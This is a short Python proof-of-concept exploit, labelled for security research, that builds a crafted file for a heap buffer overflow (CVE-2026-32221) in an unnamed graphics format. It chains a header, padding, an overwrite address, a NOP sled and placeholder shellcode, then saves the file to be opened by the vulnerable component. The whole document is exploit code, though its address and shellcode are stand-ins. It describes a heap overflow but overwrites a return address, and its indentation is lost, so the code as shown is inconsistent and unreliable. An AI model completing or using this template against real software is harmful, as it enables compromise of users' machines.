The following code is for security research and authorized testing only.
python
import struct
# Proof of Concept for CVE-2026-32221
# This script demonstrates the structure of a malicious payload
# designed to trigger the heap buffer overflow.
def generate_malicious_payload():
# Header for the specific graphics format
header = b'\x4D\x47\x43\x00'
# Padding to reach the vulnerable buffer offset
padding = b'A' * 120
# Overwrite return address or function pointer
# Address to jump to (e.g., ROP gadget or shellcode)
overwrite_addr = struct.pack('<I', 0xdeadbeef)
# Payload (NOP sled + Shellcode)
nop_sled = b'\x90' * 32
# Placeholder for calc.exe shellcode
shellcode = b'\xCC' * 64
payload = header + padding + overwrite_addr + nop_sled + shellcode
return payload
if __name__ == "__main__":
poc = generate_malicious_payload()
print("[+] Malicious payload generated.")
print(f"[+] Payload length: {len(poc)} bytes")
# In a real scenario, save this to a file and open with the vulnerable component.
with open("exploit_mgc.dat", "wb") as f:
f.write(poc)